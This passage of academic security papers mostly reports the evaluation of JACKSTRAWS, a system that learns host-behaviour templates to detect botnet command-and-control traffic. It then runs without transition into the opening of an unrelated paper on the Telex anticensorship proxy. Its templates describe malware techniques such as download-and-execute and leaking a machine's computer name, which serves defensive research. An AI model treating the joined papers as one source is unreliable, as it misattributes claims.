both from a quantitative and qualitative perspective.
This section describes the evaluation details and results.

4.1 Evaluation Datasets
For the evaluation, our system analyzed a total of 37,572
malware samples. The samples were provided to us by
a network security company, who obtained the binaries
from recent submission to a public malware analysis
sandbox. Moreover, we were only given samples that
showed some kind of network activity when run in the
sandbox. We were also provided with a set of 385 sig-
natures specifically for known C&C traffic, as well as
162 signatures that characterize known, benign traffic.
As mentioned previously, the company uses signatures
for benign traffic to be able to quickly discard harmless
connections that bots frequently make.

To make sure that our sample set covers a wide vari-
ety of different malware families, we labeled the entire
set with six different anti-virus engines: Kaspersky, F-
Secure, BitDefender, McAfee, NOD32, and F-Prot. Us-
ing several sources for labeling allows us reduce the pos-
sible limitations of a single engine. For every malware
sample, each engine returns a label (unless the samples
is considered benign) from which we extract the mal-
ware family substring. For instance, if one anti-virus
engine classifies a sample as Win32.Koobface.AZ, then
Koobface is extracted as the family name. The family
that is returned by a majority of the engines is used to
label a sample. In case the engines do not agree (and
there is no majority for a label), we go through the out-
put of the AV tools in the order that they were mentioned
previously and pick the first, non-benign result.

Overall, we identified 745 different malware families
for the entire set. The most prevalent families were
Generic (3756), EgroupDial (2009), Hotbar (1913),
Palevo (1556), and Virut (1539). 4,096 samples re-
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mained without label. Note that Generic is not a precise
label; many different kinds of malware can be classified
as such by AV engines. In summary, the results indicate
that our sample set has no significant bias towards a cer-
tain malware family. As expected, it covers a rich and
diverse set of malware, currently active in the wild.

In a first step, we executed all samples in JACK-
STRAWS. Each sample was executed for four minutes,
which allows a sample to initialize and perform its nor-
mal operations. This timeout is typically enough to
establish several network connections and send/receive
data via them. The execution of the 37,572 samples
produced 150,030 network connections, each associated
with a behavior graph. From these graphs, we removed
19,395 connections in which the server responded with
an error (e.g., an HTTP request with a 404 “Not Found”
response). Thus, we used a total of 130,635 graphs pro-
duced by a total of 33,572 samples for the evaluation.

In the next step, we applied our signatures to the
network connections. This resulted in 16,535 connec-
tions that were labeled as malicious (known C&C traffic,
12.7%) and 16,082 connections that were identified as
benign (12.3%). The malicious connections were pro-
duced by 9,108 samples, while the benign connections
correspond to 7,031 samples. The remaining 98,018
connections (75.0%) are unknown. The large fraction of
unknown connections is an indicator that it is very dif-
ficult to develop a comprehensive set of signatures that
cover the majority of bot-related C&C traffic. In partic-
ular, there was at least one unclassified connection for
31,671 samples. Note that the numbers of samples that
produced malicious, benign, and unknown traffic add up
to more than the total number of samples. This is be-
cause some samples produced both malicious and be-
nign connections. This underlines that it is difficult to
pick the important C&C connections among bot traffic.

Of course, not all of the 385 malicious signatures pro-
duced matches. In fact, we observed only hits from 78
C&C signatures, and they were not evenly distributed.
A closer examination revealed that the signature that
matched the most number of network connections is re-
lated to Palevo (4,583 matches), followed by Ramnit
(3,896 matches) and Koobface (2,690 matches).

4.2 Template Generation
Initially, we put all 16,535 behavior graphs that corre-
spond to known C&C connections into the malicious
graphs set, while the 16,082 graphs corresponding to be-
nign connections were added to the benign graphs set.
To improve the quality of these sets, we removed graphs
that contained too few nodes, as well as graphs that
contained only nodes that correspond to network-related
system calls (and a few other house-keeping functions
that are not security-relevant). Moreover, to maintain

a balanced training set, we kept at most three graphs
(connections) for each distinct malware sample. This
pre-processing step reduced the number of graphs in the
malicious set to 10,801, and to 12,367 in the benign set.

Both sets were then further split into a training set and
a test set. To this end, we randomly picked a number
of graphs for the training set, while the remaining ones
were set aside as a test set. More precisely, for the mali-
cious graphs, we kept 6,539 graphs (60.5%) for training
and put 4,262 graphs (39.5%) into the test set. For the
benign graphs, we kept 8,267 graphs (66.8%) for train-
ing and put 4,100 graphs (33.2%) into the test set. We
used these malicious and benign training sets as input
for our template generation algorithm. This resulted in
417 C&C templates that JACKSTRAWS produced. The
average number of nodes in a template was 11, where 6
nodes were part of the core and 5 were optional.

For the mining process, we used a threshold k = 0.1.
That is, the mining tool will pick subgraphs from the
training sets only when they appear in more than 10%
of all behavior graphs. The reason why we could oper-
ate with a relatively large threshold of k = 0.1 is that
we divided the behavior graphs into different bins, and
mined on each bin individually. To divide graphs into
bins, we observe that certain malware activity requires
the execution of a particular set of system calls. For ex-
ample, to start a new process, the malware needs to call
NtCreateProcess, or to write to a file, it needs to
call NtWriteFile. Thus, we selected five security-
relevant system activities (registry access; file system
access; process creation; queries to system information;
and accesses to web-related resources, such as HTML or
JS files) and assigned each to a different bin. Then, we
put into each bin all behavior graphs that contain a node
with the corresponding activity (system calls). Graphs
that did not fall into any of these bins were gathered in
a miscellaneous bin. It is important to observe that this
step merely allows us to mine with a higher threshold,
and thus to accelerate the graph mining process consid-
erably. We would have obtained the same set of tem-
plates (and possibly more) when mining on the entire
training set with a lower mining threshold.

For the clustering process, we iterated the bisection
operation until the average similarity within the clus-
ters was over 60% and the minimal similarity was over
40%. Higher thresholds were discarded because they in-
creased the number of clusters, making them too spe-
cific.

Producing templates for the 14,806 graphs in the
training set took about 21 hours on an Intel Xeon 4
CPUs 2.67GHz server, equipped with 16GB of RAM.
This time was divided into 16 hours for graph mining,
4.5 hours for clustering, and 30 minutes for graph gen-
eralization. This underlines that, despite the potentially
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costly (NP-hard) graph algorithms, JACKSTRAWS is able
to efficiently produce results on a large, real-world in-
put dataset. The mining process was the most time-
consuming operation, but the number of mined sub-
graphs was, in the end, five times smaller than the num-
ber of graphs in input. Consequently, the clustering pro-
cess, which is polynomial in function of the number of
graphs in input, ran on a reduced set. For the template
generation process, the resulting clusters only contained
10 to 20 graphs on average, explaining the faster com-
putations.

4.3 Detection Accuracy
In the next step, we wanted to assess whether the gen-
erated templates can accurately detect activity related
to command and control traffic without matching be-
nign connections. To this end, we ran two experiments.
First, we evaluated the templates on the graphs in the
test set (which correspond to known C&C connections).
Then, we applied the templates to graphs associated
with unknown connections. This allows us to deter-
mine whether the extracted C&C templates are generic
enough to allow detection of previously-unknown C&C
traffic (for which no signature exists).

Experiment 1: Known C&C connections. For the first
experiment, we made use of the test set that was pre-
viously set aside. More precisely, we applied our 417
templates to the behavior graphs in the test set. This test
set contained 4,262 connections that matched C&C sig-
natures and 8,267 benign connections.

Our results show that JACKSTRAWS is able to success-
fully detect 3,476 of the 4,262 malicious connections
(81.6%) as command and control traffic. Interestingly,
the test set also contained malware families that were
absent from the malicious training set. 51.7% of the
malicious connections coming from these families were
successfully detected, accounting for 0.4% of all detec-
tions. While the detection accuracy is high, we explored
false negatives (i.e., missed detections) in more detail.
Overall, we found three reasons why certain connections
were not correctly identified:

First, in about half of the cases, detection failed be-
cause the bot did not complete its malicious action after
it received data from the C&C server. Incomplete be-
havior graphs can be due to a timeout of the dynamic
analysis environment, or an invalid configuration of the
host to execute the received command properly.

Second, the test set contained a significant number of
Adware samples. The behavior graphs extracted from
these samples are very similar to benign graphs; after
all, Adware is in a grey area different from malicious
bots. Thus, all graphs potentially covering these sam-
ples are removed at the end of the mining process, when
compared to the benign training sets.

The third reason for missed detections are malicious
connections that are only seen a few times (possibly only
in the test set). According to the AV labels, our data
set covers 745 families (and an additional 4,096 samples
that could not be labeled). Thus, certain families are rare
in the data set. When a specific graph is only present a
few times (or not at all) in the training set, it is possible
that all of its subgraphs are below the mining threshold.
In this case, we do not have a template that covers this
activity.

JACKSTRAWS also reported 7 benign graphs as ma-
licious out of 4,100 connections in the benign test set:
a false positive rate of 0.2%. Upon closer examination,
these false positives correspond to large graphs where
some Internet caching activity is observed. These graphs
accidentally triggered four weaker templates with few
core and many optional nodes.

Overall, our results demonstrate that the host-based
activity learned from a set of known C&C connections is
successful in detecting other C&C connections that were
produced by a same set of malware families, but also
in detecting five related families that were only present
in the test set. In a sense, this shows that C&C tem-
plates have a similar detection capability as manually-
generated, network-based signatures.

We also wanted to understand the impact of template
generalization compared to previous work that used di-
rectly the mined subgraphs [13]. For this, we used the
graphs mined from the malicious training set as signa-
tures, without any generalization (this is the approach
followed in previous work). Using a sub-isomorphism
test for detection over the 4,262 malicious graphs in the
test set, we found that the detection rate was 66%, 15.6%
lower. This underlines that the novel template generation
process provides significant benefits.

Experiment 2: Unknown connections. For the next
experiment, we decided to apply our templates to the
graphs that correspond to unknown network traffic. This
should demonstrate the ability of JACKSTRAWS to detect
novel C&C connections within protocols not covered by
any network-level signature.

When applying our templates to the 98,018 unknown
connections, we found 9,464 matches (9.7%). We manu-
ally examined these connections in more detail to deter-
mine whether the detection results are meaningful. The
analysis showed that our approach is promising; the vast
majority of connections that we analyzed had clear indi-
cations of C&C activity. With the help of the anti-virus
labels, we could identify 193 malware families which
were not covered by the network signatures. The most
prevalent new families were Hotbar (1984), Pakes (871),
Kazy (107), and LdPinch (67). Furthermore, we de-
tected several new variants of known bots that we did
not detect previously because their network fingerprint
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had changed and, thus, none of our signatures matched.
Nevertheless, JACKSTRAWS was able to identify these
connections due to matched templates. In addition, the
manual analysis showed a low number of false positives.
In fact, we only found 27 false positives out of the 9,464
matches, all of them being HTTP connections.

When comparing the number of our matches with the
total number of unknown connections, the results may
appear low at first glance. However, not all connec-
tions in the unknown set are malicious. In fact, 10,524
connections (10.7%) do not result in any relevant host-
activity at all (the graphs only contain network-relayed
system calls such as send or connect). For an-
other 13,676 graphs (14.0%), the remote server did not
send any data. For more than 7,360 HTTP connec-
tions (7.5%), the server responded with status code 302,
meaning that the requested content had moved. In this
case, we probably cannot see any interesting behavior
to match. In a few hundred cases, we also observed that
the timeout of JACKSTRAWS interrupted the analysis too
early (e.g., the connection downloaded a large file). In
these cases, we usually miss some of the interesting be-
havior. Thus, almost 30 thousand unknown connections
can be immediately discarded as non-C&C traffic.

Furthermore, the detection results of 9,464 new C&C
connections for JACKSTRAWS need to be compared with
the total number of 16,535 connections that the entire
signature set was able to detect.Our generalized tem-
plates were able to detect almost 60% more connec-
tions than hundreds of hand-crafted signatures. Note
that our C&C templates do not inspect network traffic at
all. Thus, they can, by construction, detect C&C connec-
tions regardless of whether the malware uses encryption
or not, something not possible with network signatures.

4.4 Template Quality
The previous section has shown that our C&C templates
are successful in identifying host-based activity related
to both known and novel network connections. We also
manually examined several templates in more detail to
determine whether they capture activity that a human an-
alyst would consider malicious.

JACKSTRAWS was able to extract different kinds of
templates. A few template examples are shown in Ap-
pendix B. More precisely, out of the 417 templates,
more than a hundred templates represent different forms
of information leakage. The leaked information is origi-
nally collected from dedicated registry keys or from spe-
cific system calls (e.g., computer name, Windows ver-
sion and identifier, Internet Explorer version, current
system time, volume ID of the hard disk, or processor
information). About fifty templates represent executable
file downloads or updates of existing files. Additional
templates include process execution: downloaded data

that is injected into a process and then executed. Five
templates also represent complete download and exe-
cute commands. The remaining templates cover vari-
ous other malicious activities, including registry modi-
fications ensuring that the sample is started on certain
events (e.g., replacing the default executable file handler
for Windows Explorer) and for hiding malware activity
(e.g., clearing the MUICache).

We also found 20 “weak” templates (out of 417).
These templates contain a small number of nodes and
do not seem related to any obvious malicious activity.
However, these templates did not trigger any false pos-
itive in the benign test set. This indicates that they still
exhibit enough discriminative power with regards to our
malicious and benign graph sets.

5 Related Work
Given the importance and prevalence of malware, it is
not surprising that there exists a large body of work
on techniques to detect and analyze this class of soft-
ware. The different techniques can be broadly divided
into host-based and network-based approaches, and we
briefly describe the related work in the following.
Host-based detection. Host-based detection techniques
include systems such as traditional anti-virus tools that
examine programs for the presence of known mal-
ware. Other techniques work by monitoring the execu-
tion of a process for behaviors (e.g., patterns of system
calls [12, 28, 32]) that indicate malicious activity. Host-
based approaches have the advantage that they can col-
lect a wealth of detailed information about a program
and its execution. Unfortunately, collecting a lot of in-
formation comes with a price; it incurs a significant per-
formance penalty. Thus, detailed but costly monitoring
is typically reserved for malware analysis, while detec-
tion systems, which are deployed on end-user machines,
resort to fast but imprecise techniques [43]. As a result,
current anti-virus products show poor detection rates [4].

A suitable technique to model the host-based activ-
ity of a program is a behavior graph. This approach
has been successfully used in the past [5, 13, 26] and
we also apply this technique. Recently, Fredrikson et
al. introduced an approach to use graph mining on be-
havior graphs in order to distinguish between malicious
and benign programs [13]. Graph mining itself is a well-
known technique [46–48] that we use as a building block
of JACKSTRAWS. Compared to their work, we have an-
other high-level goal: we want to learn which network
connections are related to C&C traffic in an automated
way. Thus we do not only focus on host-level activities,
but also take the network-level view into account and
correlate both. Furthermore, we also cluster the graphs
and perform a generalization step to extract templates
that describe the characteristics of C&C connections.
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From a technical point of view, we perform a more fine-
grained analysis by applying taint analysis instead of the
coarse-grained analysis performed by [13].

BOTSWAT [41] analyzes how bots process network
data by analyzing system calls and performing taint
analysis. The system matches the observed behavior
against a set of 18 manually generated behavior patterns.
In contrast, we use mining and machine learning tech-
niques to automatically generate C&C templates. From
a technical point of view, BOTSWAT uses library-call-
level taint analysis and, thus, might miss certain depen-
dencies. In contrast, the data flow analysis support of
JACKSTRAWS enables a more fine grained analysis of
information flow dependency among system calls.

Network-based detection. To complement host-based
systems and to provide an additional layer for defense-
in-depth, researchers proposed network-based detection
techniques [15–18, 45, 49]. Network-based approaches
have the advantage that they can cover a large num-
ber of hosts without requiring these hosts to install any
software. This makes deployment easier and incurs no
performance penalty for end users. On the downside,
network-based techniques have a more limited view
(they can only examine network traffic and encryption
makes detection challenging), and they do not work for
malicious code that does not produce any network traffic
(which is rarely the case for modern malware).

Initially, network-based detectors focused on the ar-
tifacts produced by worms that spread autonomously
through the Internet. Researchers proposed techniques
to automatically generate payload-based signatures that
match the exploits that worms use to compromise remote
hosts [25,27,29,31,39]. With the advent of botnets, mal-
ware authors changed their modus operandi. In fact, bots
rarely propagate by scanning for and exploiting vulnera-
ble machines; instead, they are distributed through drive-
by download exploits [36], spam emails [22], or file
sharing networks [23]. However, bots do need to com-
municate with a command and control infrastructure.
The reason is that bots need to receive commands and
updates from their controller, and also upload stolen data
and status information. As a result, researchers shifted
their efforts to developing ways that can detect and dis-
rupt malicious traffic between bots and their C&C infras-
tructure. In particular, researchers proposed approaches
to identify (and subsequently block) the IP addresses and
domains that host C&C infrastructures [42], techniques
to generate payload signatures that match C&C connec-
tions [15, 17, 45], and anomaly-based systems to corre-
late network flows that exhibit a behavior characteristic
of C&C traffic [16, 18, 49]. In a paper related to ours,
Perdisci et al. studied how network traces of malware
can be clustered to identify families of bots that perform
similar C&C communication [34]. The clustering results

can be used to generate signatures, but their approach
does not take into account that bots generate benign traf-
fic or can even deliberately inject noise [1, 10, 11, 33].
Our work is orthogonal to this approach since we can
precisely identify connections related to C&C traffic.

6 Limitations
We aim at analyzing malicious software, which is a hard
task in itself. An attacker can use different techniques to
interfere with the analysis environment which is of con-
cern for us. Our approach relies on actually observing
the network communication of the sample to build the
corresponding behavior graph. Thus, we need to con-
sider attacks against the dynamic analysis environment,
and, specifically, the taint analysis, since this component
allows us to analyze the interdependence of network and
host activities. Several techniques have been introduced
in the past to enhance the analysis capabilities, for ex-
ample, multi-path execution [30] or the analysis of VM-
aware samples [2]. These and similar methods can be
integrated in JACKSTRAWS so that the dynamic analysis
process produces more extensive analysis reports. Note,
however, that the evaluation results demonstrate that we
can successfully, and in a large scale, analyze complex,
real-world malware samples. This indicates that the pro-
totype version of JACKSTRAWS already provides a ro-
bust framework for performing our analysis

Of course, an attacker might develop techniques to
thwart our analysis, for example, by interleaving unnec-
essary system calls with the calls that represent the ac-
tual, malicious activity. The resulting, additional nodes
might hinder the mining process and prevent the extrac-
tion of a graph core. An attacker might also try to in-
troduce duplicate nodes to launch complexity attacks,
since most of the graph algorithms used in JACKSTRAWS
are known to be NP-complete [6]. However, interleaved
calls have to share some data dependencies with relevant
system calls, otherwise, they would be stripped from
the behavior graph. Moreover, they must be specifically
crafted to escape the collapsing mechanism. Another ap-
proach to disturb the analysis is to mutate the sequence
of system calls that implement a behavior, as discussed
in [21]. A possible solution to this kind of attacks is to
normalize the behavior graphs in input using rewriting
techniques. That is, semantically equivalent graph pat-
terns are rewritten into a canonical form before mining.

7 Conclusion
In this paper, we focused on the problem of identifying
actual C&C traffic when analyzing binary samples. Dur-
ing a dynamic analysis run, bots do not only communi-
cate with their C&C infrastructure, but they often open
also a large number of benign network connections. We
introduced JACKSTRAWS, a tool that can identify C&C
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traffic in a sound way. This is achieved by correlating
network traffic with the associated host behavior.

With the help of experiments, we demonstrated the
different templates we extracted and showed that we
can even infer information about unknown bot families
which we did not recognize before. On the one hand, we
showed that our approach can be applied to proprietary
protocols, which demonstrates that it is protocol agnos-
tic. On the other hand, we also applied JACKSTRAWS
to HTTP traffic, which is challenging since we need to
reason about small differences between legitimate and
malicious usage of the Windows API. The results show
that we can still extract precise templates in this case.
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A Graph Labeling and Abstraction
Nodes and edges that are inserted into the behavior
graph are augmented with additional labels that capture
more information about the nature of the system calls
and the dependencies between nodes. In the following,
we describe this labeling in greater detail. For edges,

a label stores the names of the input and output argu-
ments, respectively, of the system calls that are con-
nected through a data dependency. In case of a node,
the label stores the system call name and some optional
information that depends on the specific type of call.

As shown in Table 1, the additional information can
correspond to the type of the resource (files, registry
keys, ...) that a system call operates on as well as flags
(such as mode or permission bits for file operations).
Note that some information is only stored as comments;
this information is ignored for the template generation
and matching, but is saved for a human analyst who
might want to examine a template.

Operations File Registry Network
Label Location, Type (Table 2), Key name, Port

Access, Attributes, Value name
CreateDisposition

Comment File name IP address

Table 1: Selected information for labels and comments.

One important additional piece of information stored
for system calls that manipulate files and registry keys is
the name of these files and keys. However, for these re-
source names, it is not desirable to use the actual string.
The reason is that labels are taken into account during
the matching process, and two nodes are considered the
same only when their labels match. Thus, some type of
abstraction is necessary for labels that represent resource
names, otherwise, graphs become too specific.

In the case of files, the name string is split into three
parts: the path representing the location of the file, the
short name of the file and its extension. Table 2 shows
how the paths, short names and extensions are mapped
to several generic classes of location and type, that are
then used for the file name label. Similarly, the registry
key names are split into two parts: the location of the key
and its short name. The location is first normalized using
the standard registry abbreviations (HKLM, HKU, HKCU,
HKCR). The short key name is then confronted to generic
types (number, path, url). If the name does not comply
with any format, but still shows a high number of simi-
lar close variations, a generic type random is attributed.
Additional examples of this abstraction process can be
observed in the examples of template of the next section.

B Template Examples
We manually examined C&C templates to determine
whether they capture activity that a human analyst would
consider malicious. We now present two examples that
were automatically generated by JACKSTRAWS.

Figure 4 shows a template we extracted from bots
that use a proprietary, binary protocol for communicat-
ing with the C&C server. The behavior corresponds to
some kind of information leakage: the samples query the
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Location File Path Type Extension
InWindowsDirectory\ \Windows\ IsExecutable *.exe
InSystemDirectory\ \Windows\System*\ IsDynamicLibrary *.dll
InDocumentDirectory\ \Documents and Settings\ IsDriver *.sys, *.drv
InStartupDirectory\ \Documents and Settings\*\Startup\ IsConfiguration *.ini, *.cfg
InTemporaryDirectory\ \Documents and Settings\*\Local Settings\Temp\ IsWebPage *.htm, *.php, *.xml
InInternetDirectory\ \Documents and Settings\*\Local Settings\Temporary Internet Files\ IsScript *.js, *.vbs
InProgramDirectory\ \Program Files\ IsCookie \Cookies\*@*.txt

IsDevice \Device\
IsNetworkDevice \Device\AfdEndPoint

Table 2: File abstraction based on location and type.

systemcall: recv
 
 

network: connect
port: 443

#ip=193.23.126.55
#ip=94.75.255.138

 arg: ip=buf
  

systemcall: NtCreateFile
Filename: inProgramDirectory\isExecutable

DesiredAccess: FileReadAttributes
Attributes: AttributeNormal

CreateDisposition: FileSupersede
#Filename=\??\C:\Program Files\temp\ldr.exe

 arg: ObjectAttributes=buf
  

systemcall: NtCreateFile
Filename: inProgramDirectory\isExecutable

DesiredAccess: FileReadAttributes | FileWriteAttributes
Attributes: AttributeNormal

CreateDisposition: FileSupersede
#Filename=\??\C:\Program Files\temp\ldr.exe

 arg: ObjectAttributes=buf
  

network: recv
Collapse: isMultiple

 

 arg: Socket=Socket
  

systemcall: NtAllocateVirtualMemory
*: *

 

 arg: ObjectAttributes=RegionSize
  

systemcall: NtDeviceIoControlFile
*: *

 

 arg: InputBuffer=buf
  

systemcall: NtWriteFile
*: *

 

 arg: Buffer=buf
 arg: Length=buf

  

systemcall: NtSetInformationFile
Collapse: isMultiple

 

 arg: FileInformation=buf
  

process: start
 
 

 arg: buf=buf
  

 arg: FileHandle=FileHandle
  

 arg: FileHandle=FileHandle
  

Figure 5: Template that describes the download and execute functionality of a bot: an executable file is created, its
content is downloaded from the network, decoded, written to disk, its information is modified before being executed.
In the NtCreateFile node, the file name ldr.exe is only mentioned as a comment. Comments help a human analyst
when looking at a template, but they are ignored by the matching.

network: send
 
 

systemcall: NtQueryValueKey
Valuename: ComputerName

 

 arg: buf=KeyValueInformation
  

systemcall: NtOpenKey
Keyname: hklm\system\currentcontrolset\control\computername\activecomputername

#Keyname: HKLM\System\CurrentControlSet\Control\ComputerName\ActiveComputerName

 arg: KeyHandle=KeyHandle
  

systemcall: NtOpenKey
Keyname: hklm\system\currentcontrolset\control\computername

#Keyname: \Registry\Machine\System\CurrentControlSet\Control\ComputerName

 arg: ObjectAttributes=KeyHandle
  

network: connect
port: *

 

 Socket=Socket
  

Figure 4: Template that describes leaking of sensitive
data. Darker nodes constitute the template core, whereas
lighter ones are optional.

registry for the computer name and send this information
via the network to a server. We consider this a malicious
activity, which is often used by bots to generate a unique
identifier for an infected machine. In the network traffic
itself this activity cannot be easily identified, since the
samples use their own protocol.

As another example, consider the template shown in
Figure 5. This template corresponds to the download &
execute behavior, i.e., data is downloaded from the net-
work, written to disk, and then executed. The template
describes this specific behavior in a generic way.
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Abstract
In this paper, we present Telex, a new approach to

resisting state-level Internet censorship. Rather than at-
tempting to win the cat-and-mouse game of finding open
proxies, we leverage censors’ unwillingness to completely
block day-to-day Internet access. In effect, Telex converts
innocuous, unblocked websites into proxies, without their
explicit collaboration. We envision that friendly ISPs
would deploy Telex stations on paths between censors’
networks and popular, uncensored Internet destinations.
Telex stations would monitor seemingly innocuous flows
for a special “tag” and transparently divert them to a for-
bidden website or service instead. We propose a new
cryptographic scheme based on elliptic curves for tagging
TLS handshakes such that the tag is visible to a Telex
station but not to a censor. In addition, we use our tagging
scheme to build a protocol that allows clients to connect
to Telex stations while resisting both passive and active at-
tacks. We also present a proof-of-concept implementation
that demonstrates the feasibility of our system.

1 Introduction

The events of the Arab Spring have vividly demonstrated
the Internet’s power to catalyze social change through
the free exchange of ideas, news, and other information.
The Internet poses such an existential threat to repressive
regimes that some have completely disconnected from
the global network during periods of intense political un-
rest, and many regimes are pursuing aggressive programs
of Internet censorship using increasingly sophisticated
techniques.

Today, the most widely-used tools for circumventing
Internet censorship take the form of encrypted tunnels
and proxies, such as Dynaweb [12], Instasurf [30], and
Tor [10]. While these designs can be quite effective at
sneaking client connections past the censor, these systems
inevitably lead to a cat-and-mouse game in which the

censor attempts to discover and block the services’ IP
addresses. For example, Tor has recently observed the
blocking of entry nodes and directory servers in China
and Iran [28]. Though Tor is used to skirt Internet censors
in these countries, it was not originally designed for that
application. While it may certainly achieve its original
goal of anonymity for its users, it appears that Tor and
proxies like it are ultimately not enough to circumvent
aggressive censorship.

To overcome this problem, we proposeTelex: an “end-
to-middle” proxy with no IP address, located within the
network infrastructure. Clients invoke the proxy by using
public-key steganography to “tag” otherwise ordinary
TLS sessions destined for uncensored websites. Its design
is unique in several respects:

Architecture Previous designs have assumed that anti-
censorship services would be provided by hosts at the
edge of the network, as the end-to-end principle requires.
We propose instead to provide these services in the core
infrastructure of the Internet, along paths between the
censor’s network and popular, nonblocked destinations.
We argue that this will provide both lower latency and
increased resistance to blocking.

Deployment Many systems attempt to combat state-
level censorship using resources provided primarily by
volunteers. Instead, we investigate a government-scale
response based on the view that state-level censorship
needs to be combated by state-level anticensorship.

Construction We show how a technique that the security
and privacy literature most frequently associates with
government surveillance—deep-packet inspection—can
provide the foundation for a robust anticensorship system.

We expect that these design choices will be somewhat
controversial, and we hope that they will lead to discus-
sion about the future development of anticensorship sys-
tems.
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Contributions and roadmap We propose using “end-
to-middle” proxies built into the Internet’s network in-
frastructure as a novel approach to resisting state-level
censorship. We elaborate on this concept and sketch the
design of our system in Section 2, and we discuss its
relation to previous work in Section 3.

We develop a new steganographic tagging scheme
based on elliptic curve cryptography, and we use it to
construct a modified version of the TLS protocol that
allows clients to connect to our proxy. We describe the
tagging scheme in Section 4 and the protocol in Section 5.
We analyze the protocol’s security in Section 6.

We present a proof-of-concept implementation of our
approach and protocols, and we support its feasibility
through laboratory experiments and real-world tests. We
describe our implementation in Section 7, and we evaluate
its performance in Section 8.

Online resources For the most recent version of this
paper, prototype source code, and a live demonstration,
visit https://telex.cc.

2 Concept

Telex operates as what we term an “end-to-middle” proxy.
Whereas in traditional end-to-end proxying the client con-
nects to a server that relays data to a specified host, in
end-to-middle proxying an intermediary along the path
to a server redirects part of the connection payload to
an alternative destination. One example of this mode of
operation is Tor’s leaky-pipe circuit topology [10] fea-
ture, which allows traffic to exit from the middle of a
constructed Tor circuit rather than the end.

The Telex concept is to build end-to-middle proxying
capabilities into the Internet’s routing infrastructure. This
would let clients invoke proxying by establishing connec-
tions to normal, pre-existing servers. By applying this
idea to a widely used encrypted transport, such as TLS,
and carefully avoiding observable deviations from the
behavior of nonproxied connections, we can construct a
service that allows users to robustly bypass network-level
censorship without being detected.

In the remainder of this section, we define a threat
model and goals for the Telex system. We then give a
sketch of the design and discuss several practical consid-
erations.

2.1 Threat model

Our adversary, “the censor”, is a repressive state-level au-
thority that desires to inhibit online access to information
and communication of certain ideas. These desires are
realized by IP and DNS blacklists as well as heuristics for
blocking connections based on their observed content.

We note that the censor has some motivation for con-
necting to the Internet at all, such as the economic and
social benefits of connectivity. Thus, the censor bears
some cost from over-blocking. We assume that the cen-
sor follows a blacklist approach rather than a whitelist
approach in blocking, allowing traffic to pass through
unchanged unless it is explicitly banned.

Furthermore, we assume that the censor generally per-
mits widespread cryptographic protocols, such as TLS, ex-
cept when it has reason to believe a particular connection
is being used for skirting censorship. We further assume
that the censor is not subverting such protocols on a wide
scale, such as by requiring a cryptographic backdoor or
by issuing false TLS certificates using a country-wide CA.
We believe this is reasonable, as blocking or subverting
TLS on a wide scale would render most modern websites
unusably insecure. Subversion in particular would result
in an increased risk of large-scale fraud if the back door
were compromised or abused by corrupt insiders.

The censor controls the infrastructure of the network
within its jurisdiction (“the censor’s network”), and it
can potentially monitor, block, alter, and inject traffic
anywhere within this region. However, these abilities
are subject to realistic technical, economic, and political
constraints.

In general, the censor does not control end hosts within
its network, which operate under the direction of their
users. We believe this assumption is reasonable based
on the failure of recent attempts by national governments
to mandate client-side filtering software, such as China’s
Green Dam Youth Escort [33]. The censor might target
a small subset of users and seize control of their devices,
either through overt compulsion or covert technical at-
tacks. Protecting these users is beyond the scope of our
system. However, the censor’s targeting users on a wide
scale might have unacceptable political costs.

The censor has very limited abilities outside its network.
It does not control any external network infrastructure or
any popular external websites the client may use when
communicating with Telex stations. The censor can, of
course, buy or rent hosting outside its network, but its
use is largely subject to the policies of the provider and
jurisdiction.

Some governments may choose to deny their citizens
Internet connectivity altogether, or disconnect entirely
in times of crisis. These are outside our threat model;
the best approaches to censors like these likely involve
different approaches than ours, and entail much steeper
performance trade-offs. Instead, our goal is to make ac-
cess to any part of the global Internet sufficient to access
every part of it. In other words, we aim to make connect-
ing to the global Internet an all-or-nothing proposition for
national governments.



USENIX Association  20th USENIX Security Symposium 461
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Flow?
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Figure 1: Telex Concept — This figure shows an example user connecting to Telex. The client makes a tagged
connection to NotBlocked.com, which is passed by the censor’s filter. When the request reaches a friendly on-path
ISP, one of the ISP’s routers forwards the request to the Telex station connected to its tap interface. Telex deciphers
the tag, instructs the router to block the connection to NotBlocked.com. and diverts the connection to Blocked.com,
as the user secretly requested. If the connection were not tagged, Telex would not intervene, and it would proceed to
NotBlocked.com as normal.

2.2 Goals

Telex should satisfy the following properties:

Unblockable The censor should not be able to deny
service to Telex without incurring unacceptable costs. In
particular, we require that the censor cannot block Telex
without blocking a large, primarily legitimate category of
Internet traffic.

Confidential The censor should not be able to deter-
mine whether a user is using Telex or what content the
user is accessing through the system.

Easy to deploy The consequences of system failure
(or even normal operation) must not interfere with normal
network operation (e.g., non-Telex connections) in order
for deployment to be palatable to ISPs.

Transparent to users Using Telex should, possibly
after a small startup procedure, closely resemble using an
unfiltered Internet connection.

2.3 Design

To meet our goals and the constraints imposed by our
threat model, we propose the design shown in Figure 1.
As illustrated in the figure, a Telex connection proceeds
as follows:

1. The user’s client selects an appropriate website that
is not on the censor’s blacklist and unlikely to at-
tract attention, which we represent by the domain
NotBlocked.com.

2. The user connects to NotBlocked.com via HTTPS.
Her Telex client1 includes an invisible “tag,” which
looks like an expected random nonce to the censor,
but can be cryptographically verified by the Telex
station using its private key.

3. Somewhere along the route between the client and
NotBlocked.com, the connection traverses an ISP
that has agreed to attach a Telex station to one of its
routers. The connection is forwarded to the station
via a dedicated tap interface.

4. The station detects the tag and instructs the router to
block the connection from passing through it, while
still forwarding packets to the station through its
dedicated tap. (Unlike a deployment based on trans-
parent proxying, this configuration fails open: it
tolerates the failure of the entire Telex system and so
meets our goal of being easy to deploy.)

5. The Telex station diverts the flow to Blocked.com as

1We anticipate that client software will be distributed out of band,
perhaps by sneakernet, among mutually trusting individuals within the
censor’s domain.
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the user requested; it continues to actively forward
packets from the client to Blocked.com and vice
versa until one side terminates the connection. If the
connection were untagged, it would pass through the
ISP’s router as normal.

We simplified the discussion above in an important
point: we need to specify what protocol is to be used over
the encrypted tunnel between the Telex client and the
Telex station and how the client communicates its choice
of Blocked.com. Layering IP atop the tunnel might seem
to be a natural choice, yielding a country-wide VPN of
sorts, but even a passive attacker may be able to differen-
tiate VPN traffic patterns from those of a normal HTTPS
connection. As a result, we primarily envision using Telex
for protocols whose session behavior resembles that of
HTTPS. For example, an HTTP or SOCKS proxy would
be a useful application, or perhaps even a simple server
that presented a list of entry points for another anticen-
sorship system such as Tor [10]. In the remainder of this
paper, we assume that the application is an HTTP proxy.

The precise placement of Telex stations is a second
issue. Clearly, a chief objective of deployment is to cover
as many paths between the censor and popular Internet
